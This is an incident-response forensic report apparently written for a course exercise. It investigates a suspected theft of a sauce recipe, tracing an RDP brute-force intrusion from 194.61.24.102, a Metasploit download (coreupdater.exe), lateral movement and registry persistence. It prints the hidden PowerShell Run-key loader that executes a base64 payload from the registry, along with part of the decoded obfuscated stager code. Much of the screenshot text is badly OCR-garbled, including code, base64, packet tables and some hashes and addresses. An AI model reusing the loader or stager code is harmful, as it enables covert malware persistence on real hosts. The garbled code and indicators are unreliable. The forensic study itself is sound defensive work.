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1 Executive Summary

Secret Sauce Corp a firm that makes their money by selling a special Szechuan sauce. They suspect that the
sauce recipe has been stolen. This investigation will be used to determine what happened to the system. If any
data was taken from the system.

2 Initial Evidence Processed

2.1 Evidence Summary
All the pieces of evidence were extracted from [A455Final.

2.2 Action Items

Item to analyze Assigned to Status / Completion date
case001.pcap.zip Sumeet Singh Kukreja Complete 12/14/2022
DCO01-autorunsc.zip Sumeet Singh Kukreja Complete 12/14/2022
DCO1-memory.zip Sumeet Singh Kukreja Complete 12/14/2022
E01-DCO1.zip Sumeet Singh Kukreja Complete 12/14/2022
DESKTOP-EO1.zip Sumeet Singh Kukreja Complete 12/14/2022

2.3 Evidence to Analyze

File name Checksum MD5
case001-pcap.zip 422046B753CF8A4DF49D2C4CE892DB16
DCO1-autorunsc.zip 964F2D710687D170C77C94947DA29E66
DCO1-memory.zip 64A4E2CB47138084A5C2878066B2D7B1
E01-DCO1.zip E57FC636E833C5F1ABSSDFACE873BBDE
DESKTOP-EO1.zip 71C5C3509331F472ABCDF81EB6EFFF07

2.4 Description of the system
Windows 10 Enterprise was running on DESKTOP-SDN1RPT. The DESKTOP-SDN1RPT had AMD64

processor. Windows Server 2012 R2 Standard was running on DC0O1. The DC01 had AMD64.

Processor.


https://drive.google.com/drive/folders/10JZqUev4g5zW0WgpEfgdgCuBrwgPWKXe?usp=sharing
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3 Forensics Tools

3.1 Autopsy 4.19.3

Autopsy® is a digital forensics platform and graphical interface to The Sleuth Kit® and other digital
forensics tools. It is used by law enforcement, military, and corporate examiners to investigate what
happened on a computer. You can even use it to recover photos from your camera's memory card.

See https://www.autopsy.com/

3.2 Wireshark 4.0.0

Wireshark reads live network traffic or pre-recorded traffic and captures and displays the packets for
viewing. Users can filter out traffic and build useful statics about the traffic being reviewed.

See https://www.wireshark.org/

3.3 Hexed.it

HexEd.it is a free hex editor for Windows, macOS, Linux, and all other modern operating systems.

See https://hexed.it/

3.4 Brim v0.31.0

Brim is an open-source desktop application for security and network specialists. Brim makes it easy to
search and analyze network data.

See https://www.brimdata.io/

3.5 Volatility3

Volatility is the world's most widely used framework for extracting digital artifacts from volatile
memory (RAM) samples. The extraction techniques are performed completely independent of the
system being investigated but offer visibility into the runtime state of the system.

See https://www.volatilityfoundation.org/3

3.6 MiTec Windows Registry Recovery

This application allows you to read files containing Windows 9x, NT,2K, XP, 2K3, 7, 8, and 10 registry
hives. It extracts many useful information about the configuration and windows installation settings of


https://www.autopsy.com/
https://www.wireshark.org/
https://hexed.it/
https://www.brimdata.io/
https://www.volatilityfoundation.org/3
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the host machine. There's a Registry Backup tool that can back up the current machine registry,
including BCD and all user's registry hives to the desired location.

See https://www.mitec.cz/wrr.html

3.7 Virustotal

Virus Total is an online service that analyzes suspicious files and URLSs to detect types of malware and
malicious content using antivirus engines and website scanners. It provides an API that allows users to
access the information generated by VirusTotal.

See https://www.virustotal.com/gui/home/upload

3.8 Cyberchef

CyberChef is a simple, intuitive web app for carrying out all manner of "cyber" operations within a web
browser.

See https://gchg.github.io/CyberChef/

4 Analysis Process

This part of the report will walk you through the process of the investigation. I have used all the tools to
extract the data. I start my investigation by unzipping all the evidence in an evidence folder. I started my
investigation of all the evidence by opening them with different tools. The investigation was done using
memory, network, and digital forensics.

Below is a list of things I found in the order of discovery. Then the evidence is grouped together to paint the
picture of what occurred.

e Autoruns file from citadel-dcO1 shows the presence of a registry key located in
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run for coreupdate. This registry is running
a hidden PowerShell script which is getting its payload from another registry key located at
HKLM:Software\9sEoCawv as shown below:

HEKLMVSOFTWARE \Microsoft\Windows\CurrentVersion\Run VMware User Prenabled Logon  System-v WMwe (Verif WMy c\pre 11.0.6 "C:\Program Files\WMware\WMware Tools\vmtoolsd.exe” -n vmusr
HKLM\SOFTWARE\Microsoft\Windows\CumrentVersion\Run _ coreupdate enabled Logon  System-vWindi (Verif Micr c:\wii 6.3.96 %COMSPEC% /b /c start /b /min powershell -nop -w hidden -c "sleep 0;

HKLM\SOFTWARE\Classes\Protecols\Handler Explore: System-wide
9sEoCawv contains the following PowerShell script:

%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c "sleep 0;
iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item
'HKLM:Software\9sEoCawv').GetValue('45SVAG20'))))""


https://www.mitec.cz/wrr.html
https://www.virustotal.com/gui/home/upload
https://gchq.github.io/CyberChef/
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e Autopsy was used to gather the registry of the host for analysis and was opened with MiTec windows
WRR registry tool. This was used to find the above-listed registry ('45SVAG20'). In this registry entry,
we saw a base64 encoded script, as shown below in the input column of the app cyberchef:

x 1e h: 564
Recipe Bl E  input e S =3 ]
WKF-EklﬂgﬂqéﬁlI’-IJ-'Hj-’-H:—F-asBmR-CSASAB!CRH-I-'-CEBLHBN’Q-’-&ADMEM‘-‘-’-HQA(WAEEAIAWFS%WA:RE{AT;B&W\‘MSEEAFQREHHEIF-FDAKNBM
N
From Basebd @ mn AR XAGHMANWE JADAAYWEUAG L ASWESAEAAT gBLAGHAL GBNAHEAZWEBAE A ACABZ AE QA BOBE AF OANWE | AF AAR S EHAGCAMCASAE C ANGE 3AHMANE B2 AHC AAABGAHT A
OQBoADkKAARAVAEJATOBUAEYADWE ZAGAL A8 KAHMANE B T AGOAD0E T AEBAWEGLEEALGE SAE oAWQE T ADTANWE j AHEACWBAAGQAY EBRAF ORYQE 2ADMAAAERAF MAT]
Alphabes - BIAHCAYWAZADTAT gBZAF CANAA AE BAZQBHAGHARAEOADY AW BRADMALIAE hAGE AT GBS AGCABQBS AHAAGNRF AHQAEB S AF oAMOB RAGRAYHESAG S A Ay AHOADMS

A-Za-20-9+/= AGOAYOALAE kAbWE S AGHAT 81 AGOAVABHAHAAVGABAHKADAAZAFYAY(ASAGEAMGAAADE AMWBOAC s AGQBSAL s ALWABDYAdAAY ADCABWEHMAGAAC QB EAECACQEPAG

IAYWERADKAT phcAF EATwAZAHE ATAERAF cAZQEQAC sASWE LAHEARE By AGKAUABKAHT A c ABvAESAGWAZAC SAC B AMGMAME TAGLARQE Y AGMALWEK AHAASWESAE WA
Remove non-alphabet chars D Strict mode TABaAECASQEQAHUATQAWAFIMGE ABNAEBAC ABMAGRAEAAZADUAV ZBS AE [Ab B TAE GARZE 1AL whlgE PADEANWE ZAFUACZBPAE BAaWE JAEWACQBAAGT ADQBZAF TAdA
ERAHCAMQAYAEGANAS FAE BAMABVAE YAKWEVAEBAZABWADMACWE BAGQASEE TAGOANABQAF QANEBKAE BADRAR 2ADK Ac B SAF (OB KAHASHEMAESAK wERAGYAUQEH
AHOAAABNAGE AYQB AAHEACWERADAAQWEMAS gAS BB 2AGE ANGBRAHEABAR 1 ADTATQEXADHANETAS Y AT QBhAHAADQA AL gAT RARAHKAL S BRAEAAC ABRANAASAB 2 AE
CAeABOAGQAYOBAGUARDETAF c AZQENAFMARDEDAGOAMABPAE BAC ABTADAAS gBOAFUAT AL AL BADQEZAF KASWE aGRiaQB EAHMAT gBAAGTAVWE L AEKAMABS AGCA
VEABAEWAWE LAGCANEEAHOAS 0B0AGKAYWE LADY Aeg BaAE Y AQEEAAE BACHATAESADWEMAF CAR A4 AGMAdwERA E4AdALr AGHAUWE S AHIAVARBAE wASQAS ADMAKE
BVAEWAVEAAGUMAegBpAETATOEP AEwAQEE I AGAAAABVAE AR E B BAGMAMAR y AELAD(A S AHQANGE JAELACgBVAF g AYQBLAFMAVAB JADG AT AR JAHOAVQALAESATgB)
AFQAREBMAGQAZAR hAF BMQBEAGYAUWBMAHGALZE LAE VATABUADUA C gRRAEUAS GG ACBAVAAVAGZAY B ADGAT EEVAEWANAAFAFANOARLADEAL w8 L ADEAZGAS AG
ClDQBKAF EAaQB S AE BAawE 2ADA CAMAFUAT gEGADMANABMAHC AD AV AEBAT gBPAE 0A 0B DAHAASQA Y AF gASAR ZAEIMSABWAHT Adgh LAHC ADWBVADE ASABqADTA
IQ.M&Es.-'-cQBB&HAA\'s&nﬁﬁuﬁwA\'AD(M&AEAWASBAZAWAQJKM AAT ﬂsm?&SﬂmﬂTs{rﬂﬁkmAAﬁﬂF QACWEVAE SAQQBBAE EAPQANAL CAKQADACKALA
EbAFMASQBzAMDAT QB tACAASOEPACAADWEVAGRAC ABY AGUACWE 2ACKABWE LAC A AQME vAGDAC ABY AGUACWE 2 AG K AbWBUAL DAbWE KACUAXQAEADCARAR LAGHAbWET
AHAACEE LAHMACWAD ACKAKQAUAF [ATQRhAGOANAE AE UABEE kAL AN MAPAC KATWAT ACQACWALAFUACWEB LAFMAZAE L AGWADABF AHEAT 0B JAHUADAR L ADAAJABRAG
ERbABTAGLAOWAKAHMAL EBSAGUATABPAH T AZ (8 J AHQAUMBRAGE AbgBRAGE ACEBLAEBAQBRAHAAJOE MDA T ABRAHIACQE LADS A JAB ZACARVWEB PAGAZ ABVAHCA
B BAHKADAR LADBA TuB TAGKAZ ABKAGUADZANADE A JAB ZACAAGHE y AGUAYQBBAGUAT EBvAF cAMQB UAGQAbWE 2ADAA T ABBAHT AGQE LADEA T ABWADSHWE TAHKACH
EAAGUABQAUAEQAADBRAGE Abg By AHMAGABpAGMA CwAUAF Ak gBvAGMATOR D AMMAXIBAGADOL MBAAGE ArgBBAC g ATAB T AC kADwA =

Remove null bytes S m

time: anz

Output wers @ 0@ -1

if{[IntPtr]::5ize -eq 4)
{Sb=Senv:windirs \sysnative'\WindowsPowerShell vl @\powershell . exe” jelse{Sb="powershell exe"};Ss=how-0bject
system.Diagnostics.ProcessstartInfo; 35 . FileNamesSh; 55, Argunents="-nonl -nop -w hidden -¢ E{[scriptblock]: :create((New-
Object System.I0.StreamReader(New-Object System.I0.Compression.GzipStrean((New-Object System.I0.MemoryStrean|,
[System.Convert]: :FromBasesastring(” "HAsTACILIVECATVIHAZ+bSETINEJS06 LyBCI0fVInzVaqt IAh JWIKTZ27FoVh JFMPTADQ2 257X/ FOzakgirst
fstgmlesdnunbasati{0In53ce 14b6eHBINIASNOKENIATFNCAT | APXEA JHATUTIZ T TwAl 2ebPp I pGLAAN 1 pTgrkyY rpYd 6401 TOMMTOUAZ IHD / cIMQpe S Inm
HPMpaSkpF Gl ckiibqkFOtUIwsRdybHPTsb] I7LonnYGAK e, + 2 IvzsSalod 3nL skE 3 14yl qRETugvc tOESNEUD] DhmOh Ly xZBC YEX 2/ biNGcusteDdYekI lom
PRILRIWEK AT SmnM7 FNhEEThAg/ OV Ipdsusnkival jdnpuelxl /CvPT 7Y Bp] 1001 C 1Kk 2NdgF soaz e 20foE SotQatmévaDhalCGIPyROB1DKhde53zA i XaFu
gt kMMl KErFSVEXDIV/ 1802 8nKCDIvHC ok 24T JwVAGE Shy FHIBer1 1 33 x0m2 2 +KCOE P omgPeeY ZHEv+ 1GT6pw] § 1y apAvMasHoR s LICWyut hnUNVF / 3 rk
EbZTAULcy FB/gTUY oLAN29 59§ G682 sohkOUbeT 30h7 FFeE | 2BGKAL 25 TY §skuT SeDLDeRIEUGE S 2 Lwrtio/ gWkRpk+6506111L7g1 T 1 ERVINH wimEMTBNGT TR
BRoCSOK # 250 SrqkeVF ST 3M04 11 7 1mdG4 ZuS rwb yOXIL Oy XGG6yy85 pEl+yHEP 1wl I6b@c roQnwl sn50 InFGa9y DukHy T IuDPOWShidd 62 E FICYWNg Bos
y15qks THARWRACVRERGEERZGIE IEVESSHE JakQbg 1 1Q2n9/ nbgBHPasaXy+ulHy+ 9 I rChiaCsDoBL W YRQY S5k tMES0EMS TECRTZ/ dP/ 5/ jgEoqaorIZQnZK
SULBGTVaQY s bKEpgIDCkFCPQAL RQIQ+B5AT LCeNPUCPU2ZEBe IXg D/ TP IKPLY mAnndy e 20e1bDQ/ GYW g 1nHAVEhrwZBEnd + JUadvd 3ty 2t 2FKInIDK2nFFILE
biefu/@lfEYILAGS0SZhuwrUTANDTRTMOYNB] hSBAERWF CoQk+RZ LK gSLOGS IVQMS I 2F bPErRERVOCKP JRANEY SNIny 9+ RH6IR6E91 Ivib7cgf f4Harres/ 118x
FrdadLX936NzEzbT sAT+NP W KT B THXRNNN L ritag tNEYDmD The PFVE 3 8GEws Iviet Frohdh /NHnFownhiis 65 JOHMCFARY IV s 2 Texs ZdbvZavihfSebwobinyi
A+MRGCENGZFIPAT 2 gaRpTET JRI1gmCykh2toInasTolnNu TVPVAY 1 IWAT 4241 INeuy+/ 46T 2T0L NG Iu0BCQSNLQE 3qL FEP+KexF r L PArpotuter e IHEER
codpiyL LIGuPuwedlxMOpfrsSVyBnsHFuL ROLTYUr 1 Mk TLgx pes Rt dwl 2 J4EMBUF +U0dV3whd 1S d4PTEAM ] vO rRT1dxE LM+ pfQGz tMgaTxs a8l fHIvastxle2M
W3T5FeapdeHNay T QNpatHvGxid al emabieg SYC 0 10pm@INULE OVYRIHIDs FxbhK I0RgVAL 3bgthz ThiceSzqF BOMs THCLWF Bowf Nt +c5Ry TAL193TULVIeZ 1B
STEP AvioBake  MOLBNTROOFACENE TS IErUXadST IBdcaUSNNITELAdaZAIFSLENF NS FaE v/ T/ hauBiiuL 44PEK/eL910IQ 10KV 4pBUTF I4LIT/OFOIACPI2RHSEHVIE

-m(uiuizem-lwﬂox 77216k 1/ LcHPEN+1PAZ SOk AlA=""1]

e (Gathering the base64 encoded code from the output, it was further analyzed, and the function naming
shows a lot of non-sensical variable usage, which indicates obfuscation and makes this code highly
suspicious. Some instances can be seen in the below image (output column):
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H Remove non-alphabet chars D Strict mode

Gunzip

E— g gyt -
lesgth: 1840
nput et oEE =

HesTACLtIVECATVWaZ+bSBTINE{5061yBCiOfvEnzVagqt IAh JWIKTZI27Fovh ] FMPTADQR 257X/ FOzakgZrstistOnIeddnunbms 8t JOImS 3cclabseHBEN 345
WOKER3ITroCAZJAPXEATHATUT 3ZT WAl 2ebPpdpGLABK] pZgniYrpYd6aQl TOMRGTCUAZ IH] /e ZHQpe s ZnebPHpSSHP TG LekiNbqkFC tU IwsRdy biiPt 55117 Lom
AYGAKPWHS +2Ivzs9aiodInl skE3 1Ay qKETwgve tOE SNBUR JDASIR LKy ZReVE X2 /DI NGouSTRDdYek] losP g LATWEK Al SmrMTFNNE B 7 big /DYVIpds u+nkMva0
jdnpuelxl/CvPTMYEp]100iC1Kka INEg F s0azRe 20Fof o bQAatmdY4Dhai CGIPyROB ] Dkhde S 324  XaFuhBgtkimMlkBrSVIDIV/ T8 Z8nKCDIvECoKZ4T juwv
AQCShy FHIBer § £ 33087 2 4k 06PEFouwgPGGYTHE Y+ IGT 6w Ly apAVMasMaRs L LCVyuthalUVE /0 kg TeAUL ey B/ gTUyoL WAREE £0 jE582 sohki0UbE T 30h
TFERELZBGKAL25TYqsHUI SeDLDeRIEVGESx lwrNo/ gk Apk +6506 1] 1LIE1 1 EEVULFunEMEBNG I TROBROC 50K + 285 ]SrqkeVF S I 3MQA LX1 T 1 mdG4 TwS rwb Ty
OKIL /Oy KEGY y 85 pd Ly HEP 8] 2660 relnwt snSo I nF Gy DukHy T 3ubP 0w S hknd6 2 EFKYINgEox/ v 1 5ok s IHARWSACYZERGEE TG 1k TEVESSHE Jakabg i 102
ho/ nbgEHPas Ev-+ulHy + 101 rChoAC+DoBL HYRQYSs ktMAS 0KV TEORDZ/ dP / s/ JgEoqaor IZQnZKSU]BGTVaQYsbKEpgoDC kFCPQBLRQ 3G+ BEhT T CeNPUCPdE
2EeeIXge/ IP1KPLYmREn3yed Qe 1b0Q/ G Y jglhHAVEhrwIBKnd+ jUatvd 3ty 2t IFKINTOK InFFILkbSe fu/ /@1 FEVOLAGSOS Zhumr UTAND WMy nE JhEB4 ERWFC
3k #RZINGSL 065 QWS T 2FbPErAMAVOCKP jRNmy SHINy 9+ RHEIRGDO1 TvibT g jfeHgrre  110x/ trdadL NI IGN2 62 BT SAT + NP IR K IS THKRNNAL FMx g tHEYD
B0k cPFVEI8GEWsIVWtFrohdh/ NMnFownhins65 JOHMCF ARY 1Y 527 s TdbWiav 3hfSebwo 6 2iHe+MeGe tNEZf IPaafzgeRptEr JRI1 gmcykh2 to1mas Tolnbiuj
TWpaylIVaTa2al Ieuy+/ 461 2ToLngDIu0beQaNIQE IqL FrePeKexF riPdrpolwiersc IHeErcodpky L L IGuPueBL M 0pFrx 65V Bn sHFULROLTYUr iMk I Lgxg
MERT AW 2T AEMEUF-+U0EV Il 15 SAPTEAM L vBrRT 1l L Mep FQGT tMgaT s aBC FHIvAG T 1 e 2MWITSF eap9 6HNAY ZONpadkvGxhda | enshlegsyC J01 Dpaa INULE S
YK IhiDs Fxbh IeAgvaL 3bgikz ThicebzgFaQMs TROLWFSowfiit+CSRY TALIO3 IULVI ez IOMOLEwnhoDF ACOrEuT LS IErUNadS T ISdC ZUSNNI TELddaZAIFSLL
AbFAASFAEVE ST/ hauSNULA+PEKL /&1 F9§00Q1 LOKvApBUFF 4L 2t /0F0) 1 pT DMHEIEHVrvkin IIHY 268 L gAPVF LG/ Tw T2 60K L/ LWCHP B+ L PAT 40K A0 -

SEart: 2399 tine: 2ns

nd: 2655 lepn: ez ) |_D m -

*
length: 254  lines: 28

Output

function xkbl {

Paras (Sn0D, Sollg)

Sxjux = ([AppDomain]::CurrentDomain, GetAssenblies() | Where-Object { $_.GlobalAssemblyCache -And
$_.tocation.Split("\\')[-1].Equals( System.d1l") }).GetType( Microsoft.Winil, unsafelativetethods®)

return $xjxX.GetMethod( “GetProcaddress”, [Type[]]@([System.Runtime, InteropServices . HandleRef],
[String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object
Systes.Runtise. InteropServices.HandleRef((Hew-Object IntPre), (Sxjud.GetMethod(’GetModuledandle’)). Invoke($aull,
B(Sn00) ) )}, SoLug))
}

fungtion qlviM {
Paras (
[Parameter(Position = @, Mandatory = $True)] [Type[]] SpPiTy,

[Parameter (Position = 1)] [Type] $rl = [Veid]

$gEkx] = [AppDomalin]::CurrentDomain.DefineDynanichssenbly((New-Object
System.Reflection. AssemblyName( ReflectedDelegate” ) ),
[System. Rcf1|:|:tiu_n.Enlt.ksambl:ﬁu[lderﬁc:r:s] HHE Y .Definc&.‘nﬁicl-!udulc( . !n"lmu'vno:lulc'

Started to investigate the case001.pcap file using Wireshark.

e [ooking in the packet capture provided, I found HTTP traffic related to coreupdater.exe:

- ] LR - S ]

b Tin i, =S

N [ip.addr == 10.42.85.115 and hutp

Mo. Time Source
327366 2028-89-18 22:39:26.948249 194.61.24.182
338691 2828-89-18 22:39:38. 246548 19.42.85.115
338699 2820-89-18 22:39:38.269057 72.21.91.29
339455 2020-09-18 22:39:58.410684 19.42.85.115
:I‘ 339465 2020-89-18 22:39:58.411479 194.61.24.182

MATAAA AANA AR AR AN SALAR FAREAS 44 A% BF AaE

Destination Protocol Length  Info stream ID host

18.42.85.115 HTTE 420 HTTP/1.8 20@ 0K (text/html) 38611

72.21.91.29 HTTE 296 GET [MFEWTzZBMMEswSTAJBgUrDgMCGEUABEQ. 38631 ocsp.digicert.com
16.42.85.115 OCsP 853 Response 38631

194.61.24.182 HTTP 352}&7 [coreupdater.exe HTTP/1.1 | 38635 194.61.24.102
19.42.85.115 HTTR 118 HTTR/1.@ 280 0K (applicaticm’x-msdu_ 38635

e This gave me the suspicious server being hosted at 194.61.24.102 and made this IP address of high
interest. Similar activity was noticed for host 10.42.85.10:
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-k =] L T RS W T I TR TR TR
A [ip.addr == 10.42.85.10 and http
[ - Time Source Destination Protocel Length  Infe stream I host
236791 2020-99-18 22:25:41.734676 194.61.24.102 16.42.85.18 HTTP 428 HTTP/1.8 280 OK (text/html) 38451
236805 2020-089-18 22:23:41.797123 10.42.85.18 194.61.24.182 HTTP 255 GET /ffavicon.ico HTTP/1.1 38452 194.61.24.182
236809 2020-89-18 22:23:41.797913 194.61.24.182 18.42.85.18 HTTP 378 HTTP/1.9 484 File not found (text/h.. 38452
238565 2020-89-18 22:24:86.939239 10.42.85.180 194.61.24.182 HTTP 291 |E_El' /coreupdater.exe HTTP/1.1 | 30453 194.61.24.182
+ 238574 2020-99-18 22:24:86.939959 194.61.24.182 18.42.85.18 HTTP 118 HTTR/1.8 288 OK (application/x-msdo. 38453
394928 2020-89-19 00:82:87.654883 18.42.85.180 72.21.91.29 HTTE 291 GET /MFEwTzBNMEswSTAIBgUrDgMCGEUABBT... 38721 ocsp.digicert.com

MASARA AAMA AR AM AR AR AT AMASAL WA RA A AR am am mm oam e P A

e Reviewing the activity occurring from suspicious IP 194.61.24.102, I was able to find ping from the
DCOI host and RDP connection attempts:

- e B T T P S A S
N [ip.addr == 194.61.24,102 and icmp
Ne. Time Source Destination Protocal Length  Info stream I host
84319 2020-09-18 22:19:13.414319 194.61.24.182 18.42.85.18 ICHP 42 Echo (ping) request id=@xef6f, seq=8/8, ttleS6 (reply in ..
£4322 2020-89-18 22:19:13.414386 194.61.24.182 18.42.85.18 ICMP 54 Iimstamp request id=8xed7s, seq-ﬂ;’ﬂ, ttl=51
84325 2020-09-18 22:19:13.414869 10.42.85.10 194.61.24,102 P 60 Echo (ping) reply  id=@xef6f, seq=0/@, ttl=128 (request ..
232566 *REF* 194.61.24.182 18.42.85.18 RO 117 Cockie: mstshash=Administrator, Negotiate Request E

e [ ooking further into RDP activity, a lot of RDP connection attempts were seen, indicating of a brute
force attack on RDP for the user Administrator:

Am 7 i T =Sl -

(M [ip.addr == 194,61.24.102 and rdp

No. Time Source Destination Protocal Length  Info stream D host
231851 2029-89-18 22:21:40.508618 194.51.24.182 18.42.85.18 ROP 117 Cookie: mstshash=Administrator, Negotiate Request Jedle
231852 2020-09-18 22:21:40.510482 10.42.85.10 194.61.24.182 RDP 85 Negotiate Response Jp4le
231873 2020-09-18 22:21:408.734487 194.61.24.102 18.42.85.18 ROP 117 Cookie: mstshash=Administrator, Negotiate Request 38411
231874 2029-89-18 22:21:40.736271 10.42.85.1@ 134.61.24.182 ROP 85 Negotiate Response 38411
231895 2020-09-18 22:21:40.961884 194.61.24.102 18.42.85.18 RO 117 Cockie: mstshashe=Administrator, Negotiate Request 30412
231896 2029-89-18 22:21:40.962783 19.42.85.19 194.61.24.182 ROP 85 Megotiate Response 38412
231917 2029-89-18 22:21:41.172386 194.51.24.182 18.42.85.18 RODP 117 Cookie: mstshash=Administrator, Negotiate Request 38413
231918 2820-89-18 22:21:41.174282 18.42.85.10 194.61.24.1082 RO 85 Negotiate Response 38413
231939 2020-09-18 22:21:41,39987@ 194.51.24.102 18.42.85.18 RDP 117 Cockie: mstshash=Administrator, Negotiate Request 38414
231948 2029-89-18 22:21:41.401581 10.42.85.1@ 154.61.24.182 RDP 85 Negotiate Response Ied414
231961 2828-89-18 22:21:41.624883 194.61.24.182 18.42.85.18 ROP 117 Cockie: mstshash=Administrator, Negotiate Request 38415
231962 2029-09-18 22:21:41.626841 19.42.85.190 194.61.24.102 RODP 85 Megotiate Response 30415
231983 2020-09-18 22:21:41.849351 194.61.24.182 18.42.85.18 RDP 117 Cookie: mstshash=Administrator, Negotiate Request 38416
231984 2020-89-18 22:21:41.851165 10.42.85.18 194.61.24.182 ROP 85 Negotiate Response 38416
232005 2029-09-18 22:21:42.061662 194.51.24.102 10.42.85.18 RODP 117 Cookie: mstshash=Administrator, Negotiate Request 30417
232006 2020-89-18 22:21:42.863546 10.42.85.1@ 194.61.24.182 RODP 85 Negotiate Response 30417
232827 2029-89-18 22:21:42.284572 194.61.24.182 18.42.85.18 ROP 117 Cockie: mstshash=Administrator, Negotiate Request 38418
232028 2020-09-18 22:21:42.286696 10.42.85.10 194.61.24.102 RDP 85 Negotiate Response 30418
232849 2020-89-18 22:21:42.511662 194.61.24.182 18.42.85.18 ROP 117 Cookie: mstshash=Administrator, Negotiate Request 38419
232858 2029-89-18 22:21:42.513626 10.42.85.18 194.61.24.182 ROP 85 Negotiate Response 38419
232071 2020-09-18 22:21:42.724915 194.61.24.102 18.42.85.18 RDP 117 Cockie: mstshash=Administrator, Negotiate Request 38420
232072 2020-89-18 22:21:42.725834 10.42.85.18 194.61.24.182 RO 85 Negotiate Response L
232093 2029-89-18 22:21:42.948519 194.51.24.182 18.42.85.18 ROP 117 Cockie: mstshash=Administrator, Negotiate Request 38421
232094 2020-09-18 22:21:42.950289 10.42.85.190 194.61.24.102 RDP 85 Megotiate Response 3e421
232115 2028-09-18 22:21:43.173068 194.61.24.102 18.42.85.18 RDP 117 Cookie: mstshash=Administrator, Negotiate Request 38422
232116 2029-89-18 22:21:43.174886 10.42.85.1@ 194.61.24.182 RODP 85 Negotiate Response 38422
232137 2029-09-18 22:21:43.398622 194.61.24.102 18.42.85.18 RDP 117 Cockie: mstshash=Administrator, Negotiate Request 30423

e Looking for details about the suspicious IP address 194.61.24.102, we find that it is located in Russia
and is flagged as malicious by 1 vendor per VirusTotal:
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1 |.I_/ 1 security vendor flagged this IP address as malicious Eli
196
e 194 6124102 RU
-
#  Community Scome W
DETECTION DETAILS RELATIONS COMMUNITY
Security Vendors' Analysis
CMC Threat Intelligence (1) Malware Abusix Clean
Acronis Clean ADMINUSLabs () Clean

e Looking into autopsy for the file coreupdater.exe, I was able to find the file hash for it. When searching

for the file hash information on open-source intelligence, I was able to confirm that coreupdater.exe is,
in fact, Metasploit executable:

J_eSandbox

Analysis Report coreupdater.exe

E] Create Interactive Tour

QOverview

General Infermation Detaction

Signatures Classification
Samphs Nama careupdated exe [
Analysis 1D 341867 )
MDS sedd1b4S00e4TIOTe50eT. . [ MALICIOUS
SHAT fd153c66 3852093859534 [
SHAYEE 1030520000584 TIM16 D

ISp
Mast Inferesting Screenshot

PE filz contains an imvald checsum

PE fil contains pections sith non-stendard ammis

Progmim doid il show much Actvity (ike)

Score (2]
Rangs 0. 100
Whitglisted fatsg
Confidance 100%

Using Brim, I was able to see network detections on the Pcap file for this as well:
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case001.pcap
26 MB 7HR
<« event_type=="alert" | count() by alert.severity,alert.category | sort count

8

alert > severity alert > category count
3 Detection of a Network Scan 1
1 Potential Corporate Privacy Violation 2
2 Potentially Bad Traffic 2
1 A Network Trojan was detected 7
3 Unknown Traffic 24
3 Misc activity 204
3 Generic Protocol Command Decode 214
= v
ts event_type SrE_ip sre_port dest_ip dest_port vian prote agp_proto abert » severity alert » signature
2020-09-19T02:39:58.412 m 194.61.24.102 ] 10.62.85.115 SOBE4 TP http 1 ET POLICY PE EXE or DLL Windows file download HTTP
2020-09-19T02:39:58.412 ﬂm 194 61,.24.102 E0 1042 85115 SOBEL = g http 2 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response

o The network detections from Brim do show evidence of a scan that was done from the malicious IP,
followed by repetitive RDP attempts.
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B {1
srC_ip src_port dest_ip dest_port vilan  prote  app_proto alert » severity alert » signature alert » category
194.61.24.102 10.42.85.10 o ET SCAN Behavioral Unusually fast Terminal Server Traffic Potential Scan or Infect Detection of a Network S

e Reviewing the network detections, I found the hosts to be communicating with 203.78.103.109, which
makes this IP suspicious too:

sr¢_port dest_ip dest_port wlan proto app_proto alert » severity alert » signature

&43 ). 5 50972 TCP failed 1 ET MA E Possible Metaspl
At 62613 TCP failed

i3 SOB7S TCP failed

S08Es =] TCP http

b3 B24T76 TCP failed

443 B2414 TCP failed

62410 B0 TCP http abl

e We were able to see lateral movement from 10.42.85.10 (DCO1) to 10.42.85.115
(DESKTOP-SDN1RPT)

-

232566 *REF® 194.61.24.182 18.42.85.18 RDP 117 Cookie: mstshash=Administrator, Negotiate Request 30441
265214 20208-89-18 22:35:55.291953 18.42.85.1@ 18.42.85.115 RDP 73 Negotiate Request 38455
265234 2020-09-18 22:35:55.364696 10.42.85.115 10.42.85.18 ROP 73 Negotiate Response 38455

S Results and Findings

5.1 Network forensics
Suspicious IP addresses: 194.61.24.102 from Russia
203.78.103.109
Coreupdater.exe was downloaded on DCO1 at: 2020-09-18 22:24:06.939239
Coreupdater.exe was downloaded on DESKTOP-SDN1RPT at: 2020-09-18 22:39:58.410684
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5.2 Memory Forensics
Coreupdater.exe
PID: 3644
PPID: 2244
CreateTime: 2020-09-19 03:56:37.000000
ExitTime: 2020-09-19 03:56:52.000000

5.3 Disk Forensics
The “Coreupdater.exe” file was found in both DC0O1 and DESKTOP-SDNIRPT system.
MD)5 of coreupdater.exe: eed41b4500e473f97¢50c7385ef5e374
Coreupdater.exe file location: C:\Windows\System32\coreupdater.exe
Modified Time on DCO1: 2020-09-18 23:24:06 EDT
Change Time on DCO1: 2020-09-18 23:24:50 EDT
Access Time on DCO1: 2020-09-18 23:24:12 EDT
Create Time on DCO1: 2020-09-18 23:24:12 EDT

DCO1 IP address: 10.42.85.10
DESKTOP-SDNI1RP IP address: 10.42.85.115

Persistence seen in Registry (DCO1):

Registry: HKLM:Software\9sEoCawv

Key: 45SVAG2o0

Windows 10 Enterprise was running on DESKTOP-SDN1RPT.
Windows Server 2012 R2 Standard was running on DCO1.
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6 Conclusion

In my expert opinion and as the data indicates, we were able to find out that the host machines DCO1
and the DESKTOP-SDN1RPT were compromised. We saw the attacker scan for port 3389 from 194.61.24.102.
This was followed by RDP brute force activity that led to the attacker successfully connecting DC0O1 using RDP.
The attacker reached out to 194.61.24.102 and downloaded Metasploit (coreupdater.exe) to connect to the host
to get a foothold. The attacker then established a connection using RDP to the DESKTOP-SDNI1RPT host. The
attacker then reaches out to 194.61.24.102 and downloads the payload for Metasploit (coreupdater.exe). We
could see the registry key on the DCO1 host that showed persistence in the run key for a malicious PowerShell
script.

All these activities indicate that both the hosts were compromised, and the network traffic seen between
the hosts with 203.78.103.109 shows that the secret sauce may have been exfiltrated.

For recommendations, I would recommend disabling RDP if not needed in the environment. If it is
needed, limit it to the authorized IP address ranges. I would also recommend implementing an IPS system that
can prevent the download of malicious files (that are detected via IPS signatures) and review the network
